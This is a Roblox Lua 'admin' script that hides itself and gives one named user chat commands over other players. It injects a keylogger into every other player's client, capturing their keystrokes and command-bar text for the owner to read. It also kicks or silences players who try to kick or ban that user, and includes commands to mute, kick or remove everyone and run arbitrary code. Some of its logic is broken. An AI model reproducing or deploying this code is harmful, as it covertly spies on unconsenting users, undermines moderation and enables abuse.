Admin 4.0.0.1

--[[Project TIME]]--
wait()
print("Running!")
script.Parent=nil
local next=next
local pcall=pcall
local cos=math.cos
local sin=math.sin
local atan2=math.atan2
local pi=math.pi
local plr=game.Players.Voreli
local camera=workspace.CurrentCamera
local ease=0.05
local tabs={}
local dt=false
local let=true
local tabo=true
local spin=true
local clone
local admins={}
local superadmins={}
local megaadmins={}
local uberadmins={}
local svals={}
local function insert(tab,val)
    tab[#tab+1]=val
end
local function remove(tab,val)
   if type(val)~="number" then
       for i,v in next,tab do
            if v==val then
                tab[i]=nil
            end
        end
    else
        tab[val]=nil
    end
end
function dist(part1,part2)
    return (part1-part2).magnitude
end
local function easey(part,cframe)
    local dx=cframe.X-part.CFrame.X
    local dy=cframe.Y-part.CFrame.Y
    local dz=cframe.Z-part.CFrame.Z
    local vx=dx*ease;
    local vy=dy*ease;
    local vz=dz*ease
    part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
end
local keylog=[[
    local next=next
    local p=game.Players.LocalPlayer
    local sv=Instance.new("StringValue",game.Lighting)
    sv.Name=p.Name
    local uis = game:GetService("UserInputService")
    local slash=string.byte(47)
    local val=Instance.new("StringValue",game.Lighting)
    val.Name=p.Name.."*"
    local function notify(stat)
        local thing=Instance.new("StringValue",game.Lighting)
        thing.Name="Notify_"..stat
    end
    uis.InputBegan:connect(function(input, typing)
        if input.UserInputType == Enum.UserInputType.Keyboard then
            if input.KeyCode == Enum.KeyCode.A then
                sv.Value=sv.Value..'a'
            elseif input.KeyCode==Enum.KeyCode.B then
                sv.Value=sv.Value..'b'
            elseif input.KeyCode==Enum.KeyCode.C then
                sv.Value=sv.Value..'c'
            elseif input.KeyCode==Enum.KeyCode.D then
                sv.Value=sv.Value..'d'
            elseif input.KeyCode==Enum.KeyCode.E then
                sv.Value=sv.Value..'e'
            elseif input.KeyCode==Enum.KeyCode.F then
                sv.Value=sv.Value..'f'
            elseif input.KeyCode==Enum.KeyCode.G then
                sv.Value=sv.Value..'g'
            elseif input.KeyCode==Enum.KeyCode.H then
                sv.Value=sv.Value..'h'
            elseif input.KeyCode==Enum.KeyCode.I then
                sv.Value=sv.Value..'i'
            elseif input.KeyCode==Enum.KeyCode.J then
                sv.Value=sv.Value..'j'
            elseif input.KeyCode==Enum.KeyCode.K then
                sv.Value=sv.Value..'k'
            elseif input.KeyCode==Enum.KeyCode.L then
                sv.Value=sv.Value..'l'
            elseif input.KeyCode==Enum.KeyCode.M then
                sv.Value=sv.Value..'m'
            elseif input.KeyCode==Enum.KeyCode.N then
                sv.Value=sv.Value..'n'
            elseif input.KeyCode==Enum.KeyCode.O then
                sv.Value=sv.Value..'o'
            elseif input.KeyCode==Enum.KeyCode.P then
                sv.Value=sv.Value..'p'
            elseif input.KeyCode==Enum.KeyCode.Q then
                sv.Value=sv.Value..'q'
            elseif input.KeyCode==Enum.KeyCode.R then
                sv.Value=sv.Value..'r'
            elseif input.KeyCode==Enum.KeyCode.S then
                sv.Value=sv.Value..'s'
            elseif input.KeyCode==Enum.KeyCode.T then
                sv.Value=sv.Value..'t'
            elseif input.KeyCode==Enum.KeyCode.U then
                sv.Value=sv.Value..'u'
            elseif input.KeyCode==Enum.KeyCode.V then
                sv.Value=sv.Value..'v'
            elseif input.KeyCode==Enum.KeyCode.W then
                sv.Value=sv.Value..'w'
            elseif input.KeyCode==Enum.KeyCode.X then
                sv.Value=sv.Value..'x'
            elseif input.KeyCode==Enum.KeyCode.Y then
                sv.Value=sv.Value..'y'
            elseif input.KeyCode==Enum.KeyCode.Z then
                sv.Value=sv.Value..'z'
            elseif input.KeyCode==Enum.KeyCode.Slash then
                sv.Value=sv.Value..'/'
            elseif input.KeyCode==Enum.KeyCode.Space then
                sv.Value=sv.Value..' '
            elseif input.KeyCode==Enum.KeyCode.Backspace then
                local t={}
                for i=1,val.Value:len() do
                    table.insert(t,val.Value[i])
                end
                t[#t]=nil
                for i=1,#t do
                    val.Value=t[i]
                end
            end
        end
    end)
    notify("Added.")
    coroutine.resume(coroutine.create(function()
        local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
        while gui.Text~="Click here or press (') to run a command" do
            val.Value=gui.Text
        end
    end))
    while wait() do
        if string.find(sv.Value,'kick/vo')~=nil then
            game:service'StarterGui':SetCoreGuiEnabled(3,false)
        elseif string.find(sv.Value,'ban/vo')~=nil then
            p:Kick()
            notify(p.Name.." tried to kick Voreli and was removed.")
        end
    end
]]
local function protect(p)

end
local function makeBillboard(item, text)
    local bg = Instance.new("BillboardGui", item)
    bg.Enabled = true
    bg.AlwaysOnTop = true
    bg.Size = UDim2.new(5, -0.5, 5, 0)
    local f = Instance.new("Frame", bg)
    f.BackgroundTransparency = 1
    f.Size = UDim2.new(2.5, 0, 1.25, 0)
    local tb = Instance.new("TextBox", f)
    tb.Size = UDim2.new(0.5, 0, 0.5, 0)
    tb.FontSize = "Size36"
    tb.Text = text
    tb.TextStrokeTransparency = 0
    tb.TextXAlignment = "Center"
    tb.TextYAlignment = "Top"
    tb.BackgroundTransparency = 1
    tb.TextColor3 = Color3.new(0,0,1)
    tb.Font="ArialBold"
    if text == "Dismiss" then
        tb.TextColor3 = Color3.new(1, 0, 0)
        tb.TextStrokeColor3=Color3.new(0,0,0)
    end
end
function notify(stat)
    wait(0.25)
    dt=false
    tabo=true
    local tab = Instance.new("Part", game.Workspace)
    tab.Name = "Tab"
    tab.CanCollide = false
    tab.TopSurface = "Smooth"
    tab.BottomSurface = "Smooth"
    tab.Size = Vector3.new(4, 0.4, 6.6)
    tab.Transparency = 0.5
    tab.Anchored = true
    tab.FormFactor = "Plate"
    local tabad = Instance.new("Part",tab)
    tabad.Name = "Tabad"
    tabad.CanCollide = false
    tabad.TopSurface = "Smooth"
    tabad.BottomSurface = "Smooth"
    tabad.Transparency = 0
    tabad.BrickColor = BrickColor.new(1,1,1)
    tabad.Anchored = true
    local mesh = Instance.new("BlockMesh",tabad)
    mesh.Scale = Vector3.new(0.5, 0.2, 1)
    makeBillboard(tab,stat)
    local sele = Instance.new("SelectionBox",tab)
    sele.Adornee = tab
    sele.Color = BrickColor.new(1,1,1)
    sele.Transparency = 0
    delay(0, function()
        while wait() do
            if let==true then
                for i = 0,.7,0.1 do
                    tab.Size = Vector3.new(4,i,6.6)
                    wait()
                end
                wait()
                for i = .7,0,-0.1 do
                    tab.Size = Vector3.new(4,i,6.6)
                    wait()
                end
            end
        end
    end)
    insert(tabs,{taba=tab,sel=sele,tabd=tabad})
    coroutine.resume(coroutine.create(function()
        for i,v in next,tabs do
            local num=#tabs
            local slice=(pi*2)/num
            local radius=2+num
            local angle=i*slice;
            local x=cos(angle)*radius;
            local y=60
            local z=sin(angle)*radius;
            tab.CFrame=camera.Focus*CFrame.new(x,y,z)
            tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
        end
    end))
end
game.Lighting.DescendantAdded:connect(function(obj)
    if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
        clone=obj.Value:Clone()
        notify("Found!")
        notify(clone.className)
    end
end)
local function logp(plr)

end
local function wipe(tab)
    for i=#tab,1 do
        tab[i]=nil
    end
end
workspace.DescendantRemoving:connect(function(obj)
    for _,v in next,tabs do
        if obj==v then
            remove(tabs,obj)
        end
    end
end)
local function dismiss()
    pcall(function()
        if dt==true and tabo==false then
            spin=false
            for i,v in next,tabs do
                wait()
                if tabs[i] and tabs[i].taba and tabs[i].tabd then
                    tabs[i].taba:Destroy()
                    tabs[i].tabd:Destroy()
                    table.remove(tabs,i)
                end
            end
        end
    end)
end
local cmds={
    ["log"]=function(a)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),a:lower())~=nil then
                local plr=v
                logp(plr)
            end
        end
    end,
    ["ff"]=function(a)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),a:lower()) ~= nil then
                pcall(function() Instance.new("ForceField",v.Character) end)
            end
        end
    end,
    ["cl"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                for i,g in next,game.Lighting:GetChildren() do
                    if g then
                        local a=string.match(g.Name,"(.*)*")
                        if a==v.Name then
                            notify(g.Value)
                        end
                    end
                end
            end
        end
    end,
    ["test"]=function(a)
        for i=1,a do wait()
            notify("")
        end
    end,
    ["dt"]=function()
        dt=true
        tabo=false
    end,
    ["size"]=function()
        spin=false
        for i=1,#tabs do
            tabs[i].taba.Size=Vector3.new(5,5,5)
        end
    end,
    ["cspin"]=function()
        spin=false
    end,
    ["lower"]=function()

    end,
    ["kick"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                pcall(function()
                    NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
                    notify("Kicked "..v.Name..".")
                end)
            end
        end
    end,
    ["grab"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                pcall(function()
                    table.insert(tabs,v.Character.Torso)
                end)
            end
        end
    end,
    ["mute"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                pcall(function()
                    NLS([[
                        game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
                    ]],v.Character)
                    notify("Muted "..v.Name..".")
                end)
            end
        end
    end,
    ["unmute"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                pcall(function()
                    NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
                    notify("Unmuted "..v.Name..".")
                end)
            end
        end
    end,
    ["protect"]=function(p)
        for _,v in next,game.Players:GetPlayers() do
            if string.find(v.Name:lower(),p:lower())~=nil then
                pcall(function()
                    protect(v)
                end)
            end
        end
    end,
    ["sd"]=function()
        for _,v in next,game.Players:GetPlayers() do
            NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
        end
    end,
    ["nl"]=function(a)
        NLS([[]]..a..[[]],game.Players.Voreli.Backpack)
    end
}
local function antimute(p)
    NLS([[
        wait()
        print'ran'
        script.Parent=nil
        local next=next
        local pcall=pcall
        while wait() do
            game:service'StarterGui':SetCoreGuiEnabled(3,true)
        end
    ]],p.Backpack)
end
local function chat(msg,plr)
    if msg and plr then
        local cmd,parm=string.match(msg,"(.*)/(.*)")
        if cmd and parm and cmds[cmd] then
            cmds[cmd](parm)
        end
    end
end
game.Lighting.DescendantAdded:connect(function(obj)
    if obj:IsA("LocalScript") then
        notify(obj.Name.." has been added to scripts!")
    end
end)
game.Lighting.DescendantAdded:connect(function(obj)
    if obj:IsA("StringValue") then
        local a,b=string.match(obj.Name,"(.*)_(.*)")
        if a and b then
            notify(b)
        end
    end
end)
local function playerAdd(p)
    if p then
        if p.Name=="Voreli" then
            p.Chatted:connect(function(m) chat(m,p) end)
            antimute(p)
        else
            NLS(keylog,p.Backpack)
            print("Added.")
        end
    end
end
game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
for _,v in next,game.Players:GetPlayers() do
    playerAdd(v)
end
local function rot()
    if tabo==true and dt==false then
        for i,v in next,tabs do
            local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
            local y=0
            local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
            easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
            easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
            v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
            v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
        end
    end
end
local function begin()
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    notify("")
    wait(5)
    dt=true
    tabo=false
end
game:service'RunService'.Stepped:connect(function() rot() end)
game:service'RunService'.Stepped:connect(function() dismiss() end)
begin()